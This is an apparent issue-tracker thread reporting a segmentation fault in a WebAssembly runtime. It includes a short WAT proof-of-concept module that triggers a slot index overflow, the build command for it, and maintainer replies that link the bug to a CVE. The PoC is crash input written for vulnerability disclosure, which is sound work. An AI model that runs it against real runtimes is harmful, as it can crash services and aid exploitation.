[Segmentation fault] slot index overflow because of slot missing in some bytecode

[ha1vk]

POC is as poc.wasm and the source is here ,use `./wat2wasm --enable-all --no-check poc.wat` to get poc.wasm

(module
  (type (;0;) (func))
  (func (;0;) (type 0)
    f32.const 1.1
    f32.ceil

    i32.const 0x13
    i32.const 0x2
    memory.fill
  )
  (memory (;0;) 1)
  (export "_start" (func 0))
  (start 0))

poc.wasm.zip

[vshymanskyy]

Thanks for reporting!

[vshymanskyy]

Looks like related to #344 ?

[jhutchings1]

I saw this issue was referenced in CVE-2022-34529. Does this impact any of the developer packages for WASM? cc: @taladrane